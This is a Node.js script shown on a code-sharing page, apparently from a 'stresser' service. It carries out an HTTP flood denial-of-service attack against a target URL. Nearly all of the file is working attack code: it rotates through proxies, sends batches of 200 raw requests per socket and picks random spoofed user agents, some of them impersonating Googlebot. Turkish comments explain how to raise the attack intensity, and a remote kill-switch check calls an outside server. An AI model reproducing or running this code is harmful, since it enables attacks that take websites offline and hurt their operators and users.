Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
kenne400k
GitHub Repository: kenne400k/22
Path: blob/main/Flood-JS.js
328 views
1
const EventEmitter = require('events');
2
const fs = require('fs');
3
const path = require('path');
4
const emitter = new EventEmitter();
5
emitter.setMaxListeners(Number.POSITIVE_INFINITY);
6
const url = require('url');
7
const chalk = require('chalk');
8
9
var target = process.argv[2];
10
var time = process.argv[4];
11
var reqMethod = process.argv[5];
12
13
var version = "1.0.0";
14
var use = 1;
15
16
versionControl();
17
18
if(process.argv.length < 6)
19
{
20
console.log(chalk.red("Wrong use!"));
21
console.log(chalk.yellow(`Usage: node ${path.basename(__filename)} [URL] [PROXY] [TIME] [METHOD]`));
22
console.log(chalk.blue("Script by xr4zz3rs") + " / " + chalk.red("RealStresser.com"));
23
process.exit(0);
24
}
25
26
if (!fs.existsSync(process.argv[3])) {
27
console.log(chalk.red("Proxy file not found!"));
28
process.exit(0);
29
}
30
31
process.on('uncaughtException', function (err) { }); //hataları yok et
32
process.on('unhandledRejection', function (err) { }); //hataları yok et
33
34
var host = url.parse(target).host; //hostu parsele örn: target = https://test.com - url.parse(target).host = test.com
35
const proxies = fs.readFileSync(process.argv[3], 'utf-8').replace(/\r/g, '').split('\n');
36
var theproxy = 0;
37
var proxy = proxies[theproxy];
38
39
const UAs = [ //user agent ekleyebilirsin dilediğin gibi. sadece parametrelere dikkat et.
40
"Googlebot/2.1 ( http://www.googlebot.com/bot.html)",
41
"Googlebot-Image/1.0",
42
"Googlebot-News",
43
"Googlebot-Video/1.0",
44
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)",
45
"Googlebot/2.1 (+http://www.google.com/bot.html)",
46
"Googlebot-Image/1.0",
47
"Chrome/1.0",
48
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36",
49
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
50
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
51
"Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)",
52
"Mozilla/5.0 (Linux; Android 5.0; SM-G920A) AppleWebKit (KHTML, like Gecko) Chrome Mobile Safari (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)",
53
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3599.0 Safari/537.36",
54
"RealityCheats/3.1",
55
"CloudFlare/1.0",
56
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.18247",
57
"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko",
58
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3599.0 Safari/537.36",
59
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3599.0 Safari/537.36",
60
"Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko",
61
"RealityCheats/5.1 (RealityCheats; xr4zz3rs)",
62
"RealStresser/5.0",
63
"xr4zz3rs/1.0",
64
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3599.0 Safari/537.36",
65
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3599.0 Safari/537.36",
66
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3599.0 Safari/537.36",
67
"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
68
"Mozilla/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
69
"Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0",
70
"Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3",
71
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
72
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0",
73
"Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))",
74
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
75
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)",
76
"Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)",
77
"Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00",
78
"Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
79
"Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14",
80
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14",
81
"Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
82
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36",
83
"Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
84
"Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00",
85
"Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)",
86
"HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)",
87
"Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)",
88
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+",
89
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
90
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+",
91
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
92
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7",
93
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5",
94
"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
95
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
96
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
97
"Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3",
98
"Mozilla/5.0",
99
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
100
];
101
102
console.log(chalk.green("Attack has been start %s for %s seconds!"), target, time);
103
console.log(chalk.blue("Script by xr4zz3rs") + " / " + chalk.red("RealStresser.com"));
104
105
var int = setInterval(() =>
106
{
107
theproxy++;
108
if (theproxy == proxies.length - 1) {
109
theproxy = 0;
110
}
111
proxy = proxies[theproxy];
112
if (proxy && proxy.length > 5) {
113
proxy = proxy.split(':');
114
} else {
115
return false;
116
}
117
var netSocket = require('net').Socket(); //soket oluştur.
118
netSocket.connect(proxy[1], proxy[0]); //proxy ile bağlan.
119
netSocket.setTimeout(10000); // 10 saniye timeout
120
for (var i = 0; i < 200; i++) { // i < 200; bölümünü elleyebilirsin 200'ü 300 veya 50 vb yapabilirsin threads dediğimiz bu oluyor.
121
netSocket.write(`${reqMethod} ${target} HTTP/1.1\r\nHost: ${host}\r\nUser-Agent: ${UAs[Math.floor(Math.random() * UAs.length)]}\r\nConnection: Keep-Alive\r\n\r\n`); //flood time xD
122
}
123
netSocket.on('data', function () { setTimeout(function () { netSocket.destroy(); return delete s; }, 5000); }) //5 saniye sonra s soketini yok et.
124
});
125
setTimeout(() => console.log(chalk.red("Attack has been finished!")) & process.exit(0), time * 1000); //zamanı 1000 ile böl
126
127
function versionControl()
128
{
129
require('https').get('https://sananeyarram.cf/l7freescript/version.php', (res) => {
130
res.setEncoding('utf8');
131
res.on('data', function (body) {
132
//console.log(body);
133
if(version != body)
134
{
135
console.log(chalk.red("Version is old!"));
136
process.exit(0);
137
}
138
else
139
version = body;
140
});
141
});
142
143
require('https').get('https://sananeyarram.cf/l7freescript/use.php', (res) => {
144
res.setEncoding('utf8');
145
res.on('data', function (body) {
146
//console.log(body);
147
if(use != body)
148
{
149
console.log(chalk.red("Script is closed currently."));
150
process.exit(0);
151
}
152
else
153
use = body;
154
});
155
});
156
}
157